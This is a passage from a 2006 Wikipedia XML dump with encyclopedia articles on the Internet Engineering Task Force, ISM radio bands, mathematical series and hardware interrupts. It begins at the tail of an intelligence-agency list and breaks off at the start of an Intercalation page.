*[[List of historical intelligence agencies]]
*[[List of law enforcement agencies]]
*[[List of protective service agencies]]
*[[Secret police]]
*[[Secret service]]

==External links==
*[http://www.fas.org/irp/world/index.html FAS report]

[[Category:Intelligence agencies| ]]
[[Category:Lists of organizations|Intelligence agencies]]

[[de:Liste der Nachrichtendienste]]
[[el:Κατάλογος υπηρεσιών πληροφοριών]]
[[eo:Spionorganiza&amp;#309;oj]]
[[fr:Liste des services secrets]]
[[pl:S&amp;#322;u&amp;#380;by specjalne]]
[[sv:Lista över underrättelseorganisationer]]</text>
    </revision>
  </page>
  <page>
    <title>Internet Engineering Task Force</title>
    <id>15285</id>
    <revision>
      <id>40895096</id>
      <timestamp>2006-02-23T18:57:49Z</timestamp>
      <contributor>
        <username>Alvestrand</username>
        <id>50958</id>
      </contributor>
      <comment>rvv</comment>
      <text xml:space="preserve">The '''Internet Engineering Task Force''' ('''IETF''') develops and promotes [[Internet]] standards; in particular those of the [[TCP/IP]] [[protocol suite]]. It is an open, all-volunteer [[standards organization]], with no formal membership or membership requirements.

It is organized into a large number of [[IETF Working Group|working group]]s, each dealing with a specific topic, and intended to complete work on that topic and then shut down. Each working group has an appointed chair (or sometimes several co-chairs), along with a charter that describes its focus, and what and when it is expected to produce.

The working groups are organized into ''areas'' by subject matter; each area is overseen by an ''[[area director]]'' (AD) (most areas have 2 co-AD's); the ADs appoint working group chairs. The area directors, together with the IETF Chair, form the [[Internet Engineering Steering Group]] (IESG), which is responsible for the overall operation of the IETF.

The IETF is formally an activity under the umbrella of the [[Internet Society]]. The IETF is overseen by the [[Internet Architecture Board]] (IAB), which oversees its external relationships, and relations with the [[RFC Editor]]. The IAB is also jointly responsible for the [[IETF Administrative Oversight Committee]] (IAOC), which oversees the [[IETF Administrative Support Activity]] (IASA), which provides logistical, etc support for the IETF. The IAB also manages the [[Internet Research Task Force]] (IRTF), with which the IETF has a number of cross-group relations.  

==History==

The first IETF meeting was on [[January 16]], [[1986]], consisting of 21 U.S.-government-funded researchers. Initially, it met quarterly, but from 1991, it's been meeting 3 times a year. Representatives from non-government vendors were invited starting with the fourth IETF meeting, in October of that year. Since that time all IETF meetings have been open to anyone. The majority of the IETF's work is done on mailing lists, however, and meeting attendance is not required for contributors.

The initial meetings were very small, with less than 35 people in attendance at each of the first five meetings and with the peak attendance in the first 13 meetings of only 120 attendees, at the 12th meeting in January of 1989. It has grown in both participation and scope a great deal since the early 90s; it had a peak attendance of almost 3000 at the December 2000 IETF held in San Diego, CA. Attendance declined with industry restructuring in the early 2000s, and is currently around 1300.

During the early 1990s the IETF changed institutional form from an activity of the U.S. government to an independent, international activity associated with the Internet Society. The IETF has at times been ascribed nearly magical abilities by the trade press, who assumed its mechanisms were responsible for the success of the Internet because it works on the Internet's core protocols. The reality that it is a group of engineers putting together specifications so that multiple vendors' products can interoperate across networks is considerably more prosaic. The details of its operations have changed considerably as it has grown, but the basic mechanism remains publication of draft specifications, review and independent testing by participants, and republication. Interoperability is the chief test for IETF specifications becoming standards.  Most of its specifications are focused on single protocols rather than tightly-interlocked systems. This has allowed its protocols to be used in many different systems, and its standards are routinely re-used by bodies which create full-fledged architectures (e.g. [[3GPP]] [[IMS]]). Because it relies on volunteers and uses &quot;rough consensus and running code&quot; as its touchstone, it can, however, be slow whenever the number of volunteers is either too small to make progress or so large as to make consensus difficult. For protocols like SMTP, which is used to transport e-mail for a user community in the many hundreds of millions, there is also considerable resistance to any change which is not fully backwards compatible. Work within the IETF on ways to improve its speed is ongoing but, because the number of volunteers with opinions on it is very great, consensus mechanisms on how to improve have been slow to emerge.

==List of IETF chairs==
The IETF Chair is selected by the NOMCOM process specified in RFC 3777 for a 2-year term, renewable.

Before 1993, the IETF Chair was selected by the [[Internet Architecture Board|IAB]].

* [[Mike Corrigan]] (1986)
* [[Phill Gross]] (1986&amp;ndash;1993)
* [[Paul Mockapetris]] (1994&amp;ndash;1995)
* [[Fred Baker (IETF chair)|Fred Baker]] (1996&amp;ndash;2001)
* [[Harald Tveit Alvestrand]] (2001&amp;ndash;2005)
* [[Brian Carpenter]] (2005&amp;ndash;)

==See also==
*[[Request for Comments]]
*[[Internet standard]]
*[[Standardization]]
*[[IETF Working Group]]
*[[Internet Engineering Steering Group]]
*[[Internet Architecture Board]]
*[[Internet Research Task Force]]

==External links and references==
*[http://www.ietf.org/ The official IETF site]
** [http://www.ietf.org/proceedings/directory.html IETF Online Proceedings]
** [http://www.ietf.org/proceedings/directory2.html Early IETF Proceedings] (''note: large [[Portable Document Format|pdf]] files, one for each volume)
** [http://www.ietf.org/meetings/past.meetings.html Past Meetings of the IETF]
**[http://www.ietf.org/ietf_chairs_year.html IETF Chairs]
*[http://www.ietf.org/rfc/rfc3160.txt The Tao of the IETF]: details on how IETF is organized [http://www.ietf.org/tao.html (also as HTML)]
*[http://koi.uoregon.edu/~iaoc/ IAOC information]
* [http://www.cs.berkeley.edu/~lazzaro/sa/pubs/txt/current-guide.txt An Implementation Guide for RTP MIDI]
* [http://www.cs.berkeley.edu/~lazzaro/sa/pubs/txt/current-rtp-midi.txt RTP Payload Format for MIDI]

[[Category:Internet governance]]
[[Category:Internet]]
[[Category:Standards organizations]]

[[da:The Internet Engineering Task Force]]
[[de:Internet Engineering Task Force]]
[[es:IETF]]
[[fr:Internet Engineering Task Force]]
[[ko:IETF]]
[[it:IETF]]
[[he:IETF]]
[[nl:Internet Engineering Task Force]]
[[ja:Internet Engineering Task Force]]
[[no:Internet Engineering Task Force]]
[[pl:IETF]]
[[pt:IETF]]
[[ru:IETF]]
[[fi:IETF]]
[[sv:IETF]]
[[zh:互联网工程工作小组]]</text>
    </revision>
  </page>
  <page>
    <title>ISM band</title>
    <id>15286</id>
    <revision>
      <id>38610794</id>
      <timestamp>2006-02-07T13:30:30Z</timestamp>
      <contributor>
        <username>Algae</username>
        <id>417004</id>
      </contributor>
      <comment>[[microwave oven]]s</comment>
      <text xml:space="preserve">The '''industrial, scientific and medical (ISM)''' [[radio band]]s were originally reserved internationally for non-commercial use of RF electromagnetic fields for industrial, scientific and medical purposes. 

The '''ISM''' bands are defined by the [[ITU-R]] in 5.138 and 5.150 of the [[Radio Regulations]]. Individual countries' use of the bands designated in these sections may differ due to variations in national radio regulations.

In recent years they have also been used for license-free error-tolerant communications applications such as [[wireless LAN]]s and [[Bluetooth]]:

*900 [[Megahertz|MHz]] band (33.3 [[centimeter|cm]] [[wavelength]])
*2.4 [[Gigahertz|GHz]] band (12.5 cm wavelength)
*5.8 GHz band (5.2 cm wavelength)
(using an approximation to the [[speed of light]] of 3×10&lt;sup&gt;8&lt;/sup&gt; m/s)

[[IEEE 802.11]]b/g wireless [[Ethernet]] also operates on the 2.4 GHz band, and most [[microwave oven]]s use 2.45 GHz.

==External links==
*[http://www.maxstream.net/helpdesk/index.php?_a=knowledgebase&amp;_j=questiondetails&amp;_i=118&amp;nav2=Specifications&amp;PHPSESSID=3d0c24f32f042f97c6d6c57a3c4b8c50 900 MHz vs. 2.4 GHz]
*[http://www.itu.int/ITU-R/terrestrial/faq/index.html ITU page on definitions of ISM bands]
*[http://www.itu.int/publications/productslist.aspx?lang=e&amp;CategoryID=R-REG&amp;product=R-REG-RR ITU page on Radio Regulations]
*[http://www.efis.dk/ European Radiocommunications Office frequency information system]
*In the US, [[United States Code of Federal Regulations|CFR]] [http://www.access.gpo.gov/nara/cfr/waisidx_03/47cfr18_03.html Title 47 Part 18] describes the regulation of the ISM bands.

[[Category:Radio spectrum]]

[[bg:ISM-диапазон]]
[[da:ISM-bånd]]
[[de:ISM-Band]]
[[fr:Bande industrielle, scientifique et médicale]]
[[ja:ISMバンド]]
[[tr:ISM]]
[[zh:ISM频段]]</text>
    </revision>
  </page>
  <page>
    <title>Series (mathematics)</title>
    <id>15287</id>
    <revision>
      <id>41712393</id>
      <timestamp>2006-03-01T05:56:22Z</timestamp>
      <contributor>
        <username>Jagged 85</username>
        <id>468111</id>
      </contributor>
      <minor />
      <comment>/* Convergence criteria */</comment>
      <text xml:space="preserve">In [[mathematics]], a '''series''' is often represented as the [[sum]] of a [[sequence]] of [[term (mathematics)|term]]s. That is, a series is represented as a list of numbers with [[addition]] operations between them, e.g, 

:1 + 2 + 3 + 4 + 5 + ...

which may or may not be meaningful, as it will be explained below. 

In most cases of interest the terms of the sequence are produced according to a certain rule, such as by a [[formula]], by an [[algorithm]], by a sequence of [[measurement]]s, or even by a [[random number generator]].

Series may be [[finite]], or ''infinite''; in the first case they may be handled with elementary [[algebra]], but infinite series require tools from [[mathematical analysis]] if they are to be applied in anything more than a tentative way.

Examples of simple series include the [[arithmetic series]] which is a sum of an [[arithmetic progression]], written as:

:&lt;math&gt;\sum_{n=0}^k (an+b);&lt;/math&gt;

and finite [[Geometric progression|geometric series]], a sum of a [[geometric progression]], which can be written as:

:&lt;math&gt;\sum_{n=0}^k a^{n}.&lt;/math&gt;

==Infinite series==

The sum of an '''infinite series''' is a limit of partial sums of [[infinite]]ly many terms. Such a limit can have a finite value; if it has, the series is said to ''converge''; if it does not, it is said to ''diverge''. The fact that infinite series can converge resolves several of [[Zeno's paradoxes]].

The simplest convergent infinite series is perhaps
:&lt;math&gt;1+\frac{1}{2}+\frac{1}{4}+\frac{1}{8}+\frac{1}{16}+\cdots&lt;/math&gt;
It is possible to &quot;visualize&quot; its convergence on the [[real number|real number line]]: we can imagine a line of length 2, with successive segments marked off of lengths 1, 1/2, 1/4, etc. There is always room to mark the next segment, because the amount of line remaining is always the same as the last segment marked: when we have marked off 1/2, we still have a piece of length 1/2 unmarked, so we can certainly mark the next 1/4.  This argument does not prove that the sum is ''equal'' to 2 (although it is), but it does prove that it is ''at most'' 2 &amp;mdash; in other words, the series has an upper bound.

This series is a geometric series and mathematicians usually write it as:

:&lt;math&gt;\sum_{n=0}^\infty 2^{-n}=2.&lt;/math&gt;

An infinite series is formally written as

:&lt;math&gt;\sum_{n=0}^\infty a_n&lt;/math&gt;

where the elements ''a''&lt;sub&gt;''n''&lt;/sub&gt; are real (or [[complex number|complex]]) numbers. We say that this series '''converges towards''' ''S'', or that 
'''its value is''' ''S'', if the [[Limit (mathematics)|limit]]

:&lt;math&gt;\lim_{N\rightarrow\infty}\sum_{n=0}^N a_n&lt;/math&gt;

exists and is equal to ''S''. If there is no such number, then the series is said to ''diverge''.

The [[sequence]] of '''partial sums''' is defined as the sequence 

:&lt;math&gt;\sum_{n=0}^N a_n&lt;/math&gt;

indexed by ''N''. Then, the definition of series convergence simply says that the sequence of partial sums has limit ''S'', as ''N'' &amp;rarr; &amp;infin;.

=== Formal definition ===

Mathematicians usually ''define'' a series as the above ''sequence of partial sums''. The notation 

:&lt;math&gt;\sum_{n=0}^\infty a_n&lt;/math&gt; 

represents then ''[[a priori]]'' this sequence, which is always well defined, but which may or may not converge. Only in the latter case, i.e., if this sequence has a limit, the notation is also used to denote the ''limit'' of this sequence. To make a distinction between these two completely different objects (sequence vs. numerical value), one may sometimes omit the limits (atop and below the sum's symbol) in the former case, although it is usually clear from the context which one is meant.

Also, different notions of convergence of such a sequence do exist ([[absolute convergence]], summability., etc). In case the elements of the sequence (and thus of the series) are not simple numbers, but, for example, functions, still more types of convergence can be considered (pointwise convergence, uniform convergence, etc.; see below).

== History of the theory of infinite series ==
===Development of infinite series===
The idea of an [[infinite]] series expansion of a function was first conceived in [[Indian mathematics|India]] by [[Madhava of Sangamagrama|Madhava]] in the [[14th century]], who also developed the concepts of the [[power series]], the [[Taylor series]], the [[Maclaurin series]], rational approximations of infinite series, and infinite [[continued fraction]]s. He discovered a number of infinite series, including the [[Taylor series]] of the [[trigonometric function]]s of [[sine]], [[cosine]], [[tangent]] and [[arctangent]], the Taylor series approximations of the sine and cosine functions, and the [[power series]] of the [[radius]], [[diameter]], [[circumference]], angle [[θ]], [[π]] and π/4. His students and followers in the [[Kerala School]] further expanded his works with various other series expansions and approximations, until the [[16th century]].

In the [[17th century]], [[James Gregory (astronomer and mathematician)|James Gregory]] also worked on infinite series and published several [[Maclaurin series]]. In [[1715]], a general method for constructing the [[Taylor series]] for all functions for which they exist was provided by [[Brook Taylor]]. [[Leonhard Euler]] in the [[18th century]], developed the theory of [[hypergeometric series]] and [[q-series]].

===Convergence criteria===
The study of the [[convergence]] criteria of a series began with Madhava in the 14th century, who developed [[Integral test for convergence|tests of convergence]] of infinite series, which his followers further developed at the Kerala School.

In Europe however, the investigation of the validity of infinite series is considered to begin with [[Carl Friedrich Gauss|Gauss]] in the [[19th century]]. Euler had already considered the [[hypergeometric series]]

:&lt;math&gt;1 + \frac{\alpha\beta}{1\cdot\gamma}x + \frac{\alpha(\alpha+1)\beta(\beta+1)}{1 \cdot 2 \cdot \gamma(\gamma+1)}x^2 + \cdots.&lt;/math&gt;
on which Gauss published a memoir in 1812. It established simpler criteria of convergence, and the questions of remainders and the range of convergence.

[[Cauchy]] (1821) insisted on strict tests of convergence; he showed that if two series are convergent their product is not necessarily so, and with him begins the discovery of effective criteria. The terms ''convergence'' and ''divergence'' had been introduced long before by [[James Gregory (astronomer and mathematician)|Gregory]] (1668). [[Euler]] and [[Carl Friedrich Gauss|Gauss]] had given various criteria, and [[Maclaurin]] had anticipated some of Cauchy's discoveries. Cauchy advanced the theory of [[power series]] by his expansion of a complex [[function (mathematics)|function]] in such a form. 

[[Niels Henrik Abel|Abel]] (1826) in his memoir on the series 
:&lt;math&gt;1 + \frac{m}{1}x + \frac{m(m-1)}{2!}x^2 + \cdots&lt;/math&gt; 

corrected certain of Cauchy's conclusions, and gave a completely
scientific summation of the series for complex values of &lt;math&gt;m&lt;/math&gt; and &lt;math&gt;x&lt;/math&gt;. He showed the necessity of considering the subject of continuity in questions of convergence.

Cauchy's methods led to special rather than general criteria, and
the same may be said of [[Raabe]] (1832), who made the first elaborate
investigation of the subject, of [[Augustus De Morgan|De Morgan]] (from 1842), whose
logarithmic test [[DuBois-Reymond]] (1873) and [[Pringsheim]] (1889) have
shown to fail within a certain region; of [[Bertrand]] (1842), [[Bonnet]]
(1843), [[Malmsten]] (1846, 1847, the latter without integration);
[[Stokes]] (1847), [[Paucker]] (1852), [[Tchebichef]] (1852), and [[Arndt]]
(1853). 

General criteria began with [[Kummer]] (1835), and have been
studied by [[Eisenstein]] (1847), [[Weierstrass]] in his various
contributions to the theory of functions, [[Dini]] (1867),
[[DuBois-Reymond]] (1873), and many others. Pringsheim's (from 1889)
memoirs present the most complete general theory.

===Uniform convergence===

The theory of [[uniform convergence]] was treated by Cauchy (1821), his
limitations being pointed out by Abel, but the first to attack it
successfully were Stokes and Seidel (1847-48). Cauchy took up the
problem again (1853), acknowledging Abel's criticism, and reaching
the same conclusions which Stokes had already found. Thomé used the
doctrine (1866), but there was great delay in recognizing the
importance of distinguishing between uniform and non-uniform
convergence, in spite of the demands of the theory of functions.

===Semi-convergence===

Semi-convergent series were studied by Poisson (1823), who also gave
a general form for the remainder of the Maclaurin formula. The most
important solution of the problem is due, however, to Jacobi (1834),
who attacked the question of the remainder from a different
standpoint and reached a different formula. This expression was also worked out, and another one given, by [[Malmsten]] (1847).
[[Schlömilch]] (''Zeitschrift'', Vol.I, p. 192, 1856) also
improved Jacobi's remainder, and showed the relation between the
remainder and Bernoulli's function 

:&lt;math&gt;F(x) = 1^n + 2^n + \cdots + (x - 1)^n&lt;/math&gt;. 

[[Genocchi]] (1852) has further contributed to the theory.

Among the early writers was [[Josef Hoene-Wronski|Wronski]], whose &quot;loi suprême&quot; (1815) was hardly recognized until [[Cayley]] (1873) brought it into
prominence.

===Fourier series===

[[Fourier series]] were being investigated
as the result of physical considerations at the same time that
Gauss, Abel, and Cauchy were working out the theory of infinite
series. Series for the expansion of sines and cosines, of multiple
arcs in powers of the sine and cosine of the arc had been treated by
[[Jakob Bernoulli]] (1702) and his brother [[Johann Bernoulli]] (1701) and still
earlier by [[Viète]]. Euler and [[Joseph Louis Lagrange|Lagrange]] simplified the subject,
as did [[Poinsot]], Schröter, [[Glaisher]], and [[Kummer]]. 

Fourier (1807) set for himself a different problem, to
expand a given function of &lt;math&gt;x&lt;/math&gt; in terms of the sines or cosines of
multiples of &lt;math&gt;x&lt;/math&gt;, a problem which he embodied in his ''[[Théorie analytique de la Chaleur]]'' (1822). Euler had already given the
formulas for determining the coefficients in the series;
Fourier was the first to assert and attempt to prove the general
theorem. [[Poisson]] (1820-23) also attacked the problem from a
different standpoint. Fourier did not, however, settle the question
of convergence of his series, a matter left for [[Cauchy]] (1826) to
attempt and for Dirichlet (1829) to handle in a thoroughly
scientific manner (see [[convergence of Fourier series]]). Dirichlet's treatment (''[[Crelle]]'', 1829), of trigonometric series was the subject of criticism and improvement by
Riemann (1854), Heine, [[Lipschitz]], [[Schläfli]], and
[[DuBois-Reymond]]. Among other prominent contributors to the theory of
trigonometric and Fourier series were [[Dini]], [[Hermite]], [[Halphen]],
Krause, Byerly and [[Appell]].

== Some types of infinite series ==
* A ''[[geometric series]]'' is one where each successive term is produced by multiplying the previous term by a constant number.  Example:
::&lt;math&gt;1 + {1 \over 2} + {1 \over 4} + {1 \over 8} + {1 \over 16} + \cdots=\sum_{n=0}^\infty{1 \over 2^n}.&lt;/math&gt;
:In general, the geometric series
::&lt;math&gt;\sum_{n=0}^\infty z^n&lt;/math&gt;
:converges if and only if |''z''| &lt; 1.

* The ''[[harmonic series (mathematics)|harmonic series]]'' is the series
::&lt;math&gt;1 + {1 \over 2} + {1 \over 3} + {1 \over 4} + {1 \over 5} + \cdots =\sum_{n=1}^\infty {1 \over n}.&lt;/math&gt;

* An ''[[alternating series]]''  is a series where terms alternate signs.  Example:
::&lt;math&gt;1 - {1 \over 2} + {1 \over 3} - {1 \over 4} + {1 \over 5} - \cdots =\sum_{n=1}^\infty (-1)^{n+1} {1 \over n}.&lt;/math&gt;

*The series
::&lt;math&gt;\sum_{n=1}^\infty\frac{1}{n^r}&lt;/math&gt;
:converges if ''r'' &gt; 1 and diverges for ''r'' &amp;le; 1, which can be shown with the integral criterion described below in [[Series (mathematics)#Convergence tests|convergence tests]]. As a function of ''r'', the sum of this series is [[Riemann zeta function|Riemann's zeta function]].

*A [[telescoping series]]
::&lt;math&gt;\sum_{n=1}^\infty (b_n-b_{n+1})&lt;/math&gt;
:converges if the [[sequence]] ''b''&lt;sub&gt;''n''&lt;/sub&gt; converges to a limit ''L'' as ''n'' goes to infinity. The value of the series is then ''b''&lt;sub&gt;1&lt;/sub&gt; &amp;minus; ''L''.

==Absolute convergence ==

:''Main article: [[absolute convergence]].''

A series
:&lt;math&gt;\sum_{n=0}^\infty a_n&lt;/math&gt;
is said to '''converge absolutely''' if the series of [[absolute value|absolute values]]
:&lt;math&gt;\sum_{n=0}^\infty \left|a_n\right|&lt;/math&gt;
converges. In this case, the original series, and all reorderings of it, converge, and converge towards the same sum.

The [[Riemann series theorem]] says that if a series converges, but not absolutely, then one can always find a reordering of the terms so that the reordered series diverges. Moreover, if the ''a''&lt;sub&gt;''n''&lt;/sub&gt; are real and ''S'' is any real number, one can find a reordering so that the reordered series converges with limit ''S''.

==Convergence tests ==

*[[Comparison test]] 1: If &amp;sum;''b&lt;sub&gt;n&lt;/sub&gt;''&amp;nbsp; is an [[absolute convergence|absolutely convergent]] series such that |''a&lt;sub&gt;n&lt;/sub&gt;''&amp;nbsp;| &amp;le; ''C''&amp;nbsp;|''b&lt;sub&gt;n&lt;/sub&gt;''&amp;nbsp;| for some number ''C''&amp;nbsp; and for sufficiently large ''n''&amp;nbsp;, then &amp;sum;''a&lt;sub&gt;n&lt;/sub&gt;''&amp;nbsp; converges absolutely as well. If &amp;sum;|''b&lt;sub&gt;n&lt;/sub&gt;''&amp;nbsp;| diverges, and  |''a&lt;sub&gt;n&lt;/sub&gt;''&amp;nbsp;| &amp;ge; |''b&lt;sub&gt;n&lt;/sub&gt;''&amp;nbsp;| for all sufficiently large ''n''&amp;nbsp;, then &amp;sum;''a&lt;sub&gt;n&lt;/sub&gt;''&amp;nbsp; also fails to converge absolutely (though it could still be conditionally convergent, e.g. if the ''a&lt;sub&gt;n&lt;/sub&gt;''&amp;nbsp; alternate in sign).
*[[Comparison test]] 2: If &amp;sum;''b&lt;sub&gt;n&lt;/sub&gt;''&amp;nbsp; is an absolutely convergent series such that |''a&lt;sub&gt;n+1&lt;/sub&gt;''&amp;nbsp;/''a&lt;sub&gt;n&lt;/sub&gt;''&amp;nbsp;| &amp;le; ''C''&amp;nbsp;|''b&lt;sub&gt;n+1&lt;/sub&gt;''&amp;nbsp;/''b&lt;sub&gt;n&lt;/sub&gt;''&amp;nbsp;| for some number ''C''&amp;nbsp; and for sufficiently large ''n''&amp;nbsp;, then &amp;sum;''a&lt;sub&gt;n&lt;/sub&gt;''&amp;nbsp; converges absolutely as well. If &amp;sum;|''b&lt;sub&gt;n&lt;/sub&gt;''&amp;nbsp;| diverges, and  |''a&lt;sub&gt;n+1&lt;/sub&gt;''&amp;nbsp;/''a&lt;sub&gt;n&lt;/sub&gt;''&amp;nbsp;| &amp;ge; |''b&lt;sub&gt;n+1&lt;/sub&gt;''&amp;nbsp;/''b&lt;sub&gt;n&lt;/sub&gt;''&amp;nbsp;| for all sufficiently large ''n''&amp;nbsp;, then &amp;sum;''a&lt;sub&gt;n&lt;/sub&gt;''&amp;nbsp; also fails to converge absolutely (though it could still be conditionally convergent, e.g. if the ''a&lt;sub&gt;n&lt;/sub&gt;''&amp;nbsp; alternate in sign).
*[[Ratio test]]: If |''a''&lt;sub&gt;''n''+1&lt;/sub&gt;/''a''&lt;sub&gt;''n''&lt;/sub&gt;| &lt; 1 for all sufficiently large ''n'', then &amp;sum; ''a''&lt;sub&gt;''n''&lt;/sub&gt; converges absolutely. When the ratio is 1, convergence can sometimes be determined as well.
*[[Root test]]: If there exists a constant ''C'' &lt; 1 such that |''a''&lt;sub&gt;''n''&lt;/sub&gt;|&lt;sup&gt;1/''n''&lt;/sup&gt; &amp;le; ''C'' for all sufficiently large ''n'', then &amp;sum; ''a''&lt;sub&gt;''n''&lt;/sub&gt; converges absolutely.
*[[Integral test for convergence|Integral test]]: if ''f''(''x'') is a positive [[monotone decreasing]] function defined on the [[interval (mathematics)|interval]] &lt;nowiki&gt;[&lt;/nowiki&gt;1, &amp;infin;&lt;nowiki&gt;)&lt;/nowiki&gt;&lt;!--DO NOT &quot;FIX&quot; THE &quot;TYPO&quot; IN THE FOREGOING.  IT IS INTENDED TO SAY [...) WITH A SQUARE BRACKET ON THE LEFT AND A ROUND BRACKET ON THE RIGHT. --&gt; with ''f''(''n'') = ''a''&lt;sub&gt;''n''&lt;/sub&gt; for all ''n'', then &amp;sum; ''a''&lt;sub&gt;''n''&lt;/sub&gt; converges if and only if the [[integration|integral]] &amp;int;&lt;sub&gt;1&lt;/sub&gt;&lt;sup&gt;&amp;infin;&lt;/sup&gt; ''f''(''x'') d''x'' is finite.
*[[Alternating series test]]: A series of the form &amp;sum; (&amp;minus;1)&lt;sup&gt;''n''&lt;/sup&gt; ''a''&lt;sub&gt;''n''&lt;/sub&gt; (with ''a''&lt;sub&gt;''n''&lt;/sub&gt; &amp;ge; 0) is called ''alternating''. Such a series converges if the [[sequence]] ''a''&lt;sub&gt;''n''&lt;/sub&gt; is [[monotone decreasing]] and converges to 0. The converse is in general not true.
*For some specific types of series there are more specialized convergence tests, for instance for [[Fourier series]] there is the [[Dini test]].

==Power series ==

Several important functions can be represented as [[Taylor series]]; these are infinite series involving powers of the independent variable and are also called [[power series]]. For example, the series
:&lt;math&gt;\sum_{n=0}^\infty\frac{x^n}{n!}&lt;/math&gt;
converges to &lt;math&gt;e^x&lt;/math&gt; for all ''x''.  See also [[radius of convergence]].

Historically, mathematicians such as [[Leonhard Euler]] operated liberally with infinite series, even if they were not convergent. 
When calculus was put on a sound and correct foundation in the nineteenth century, rigorous proofs of the convergence of series were always required.
However, the formal operation with non-convergent series has been retained in rings of [[formal power series]] which are studied in [[abstract algebra]]. Formal power series are also used in [[combinatorics]] to describe and study [[sequence]]s that are otherwise difficult to handle; this is the method of [[generating function]]s.

==Generalizations==

[[Asymptotic series]], otherwise [[asymptotic expansion]]s, are infinite series that do not converge. But they are useful as sequences of approximations, each of which provides a value close to the desired answer for a finite number of terms. The difference is that an asymptotic series cannot be made to produce an answer as exact as desired, the way that convergent series can. In fact, after a certain number of terms, a typical [[asymptotic series]] reaches its best approximation; if more terms are included, most such series will produce worse answers.

The notion of series can be defined in every [[abelian group|abelian]] [[topological group]]; the most commonly encountered case is that of series in a [[Banach space]].

There is no serious definition for an infinite sum over an [[uncountable]] set. For example if ''X'' is a set and ''f'' a function on ''X'' taking non-negative real values, such that

:&lt;math&gt;\sum_{y\in Y} f(y)&lt;A&lt;/math&gt;

for any countable subset ''Y'' of ''X'', with ''A'' an absolute constant, it follows that ''f''(''x'') = 0 for all ''x'' outside some countable subset of ''X''. In other words, infinite sums of uncountably many non-negative reals make sense only in the case that this is a conventional convergent infinite series, extended by the value 0 to an uncountable set.

==See also==

*[[Convergent series]]
*[[Divergent series]]
*[[Sequence transformations]]

[[Category:Calculus]]
[[Category:Mathematical series|*]]

[[de:Reihe (Mathematik)]]
[[es:Serie (matemáticas)]]
[[fi:Sarja (matematiikka)]]
[[fr:Série (mathématiques)]]
[[he:טור (מתמטיקה)]]
[[it:Serie]]
[[ja:級数]]
[[nl:Reeks]]
[[pl:Szereg (matematyka)]]
[[sl:Vrsta (matematika)]]
[[sr:Ред (математика)]]
[[scn:Seri (matimatica)]]
[[zh:无穷级数]]</text>
    </revision>
  </page>
  <page>
    <title>Irish Dance</title>
    <id>15288</id>
    <revision>
      <id>15912769</id>
      <timestamp>2002-05-20T22:42:27Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <comment>#redirect [[Irish dance]]</comment>
      <text xml:space="preserve">#redirect [[Irish dance]]</text>
    </revision>
  </page>
  <page>
    <title>Interrupt</title>
    <id>15289</id>
    <revision>
      <id>40356374</id>
      <timestamp>2006-02-20T00:54:07Z</timestamp>
      <contributor>
        <username>X42bn6</username>
        <id>274845</id>
      </contributor>
      <minor />
      <comment>/* Overview */ Removed space</comment>
      <text xml:space="preserve">In [[computer science]], an '''interrupt''' is an [[asynchronous circuit | asynchronous]] signal from hardware or software indicating the need for attention. A ''hardware interrupt'' causes the [[central processing unit|processor]] to save its state of execution via a [[context switch]], and begins [[execution (computers) | execution]] of an [[interrupt handler]]. ''Software interrupts'' are usually implemented as [[instruction (computer science) | instruction]]s in the [[instruction set]], which cause a context switch to the interrupt handler similarly to a hardware interrupt.

The act of ''interrupting'' is referered to as an [[interrupt request]].

== Overview ==
Interrupts originated as a way to avoid wasting the processor's valuable time in polling loops, waiting for external events. Instead, an interrupt signals the processor when an event occurs, allowing the processor to process other work while the event is pending.

Interrupts may be implemented in hardware as a distinct system with control lines, or they may be integrated into the memory subsystem. If implemented in hardware, a [[Programmable Interrupt Controller]] (PIC) or [[Advanced Programmable Interrupt Controller]] (APIC) is connected to both the interrupting device and to the processor's interrupt pin. If implemented as part of the memory controller, interrupts are mapped into the system's memory address space.
&lt;!-- Expand on how memory mapped interrupts work. e.g. PowerPC --&gt;

Interrupts can be categorized into the following types: software interrupt, maskable interrupt, [[non-maskable interrupt]] (NMI), [[interprocessor interrupt]] (IPI), and spurious interrupt. A software interrupt is an interrupt generated within a processor by executing an instruction. Examples of software interrupts are [[system call]]s. A ''maskable interrupt'' is essentially a hardware interrupt which may be ignored by setting a bit in an interrupt mask register's (IMR) bit-mask. Likewise, a ''non-maskable interrupt'' is a hardware interrupt which typically does not have a bit-mask associated with it allowing it to be ignored. An ''interprocessor  interrupt'' is a special type of interrupt which is generated by one processor to interrupt another processor in a multiprocessor system. A ''spurious interrupt'' is a hardware interrupt which is generated by system errors, such as electrical noise on one of the PICs interrupt lines.

Processors typically have an internal ''interrupt mask'' which allows software to ignore all external hardware interrupts while it is set. This mask may offer faster access than accessing an IMR in a PIC, or disabling interrupts in the device itself. In some cases, such as the [[x86]] architecture, disabling and enabling interrupts on the processor itself acts as a [[memory barrier]], in which case it may actually be slower.

The phenomenon where the overall system performance is severely hindered by excessive amounts of processing time spent handling interrupts is called an [[interrupt storm]] or ''live lock''.

== Typical uses == 
Typical interrupt uses include the following: system timers, disks IO, power-off signals, and [[trap]]s. Other interrupts exist to transfer data bytes using [[UART]]s or [[Ethernet]]; sense key-presses; control motors; or anything else the equipment must do.

A classic system timer interrupt interrupts periodically from a counter or the power-line.  The interrupt handler counts the interrupts to keep time.  The timer interrupt may also be used by the OS's [[task scheduler]] to reschedule the priorities of running [[process]]es.  Counters are popular, but some older computers used the power line frequency instead, because power companies in most Western countries control the power-line frequency with an [[atomic clock]].

A disk interrupt signals the completion of a data transfer from or to the disk peripheral.  A process waiting to read or write a file starts up again.

A power-off interrupt predicts or requests a loss of power.  It allows the computer equipment to perform an orderly shutdown.

Interrupts are also used in [[typeahead]] features for buffering events like keystrokes.

== See also ==
* [[Advanced Programmable Interrupt Controller]]
* [[Programmable Interrupt Controller]]
* [[Inter-Processor Interrupt]]
* [[Interrupt Handler]]
* [[Interrupt Latency]]
* [[Non-Maskable Interrupt]]

== External links ==
*[http://www.atarimagazines.com/compute/issue149/60_Interrupts_made_easy.php Interrupts Made Easy]

[[Category:Interrupts| ]]

[[de:Interrupt]]
[[es:Interrupción]]
[[fr:Interruption (informatique)]]
[[it:Interrupt (informatica)]]
[[lt:Pertraukimas]]
[[nl:Interrupt]]
[[ja:割り込み]]
[[pl:Przerwanie]]
[[pt:Interrupção de hardware]]
[[ru:Прерывание]]
[[fi:Keskeytyssignaali]]</text>
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  </page>
  <page>
    <title>Intercalation</title>
    <id>15290</id>
    <revision>
      <id>33043217</id>
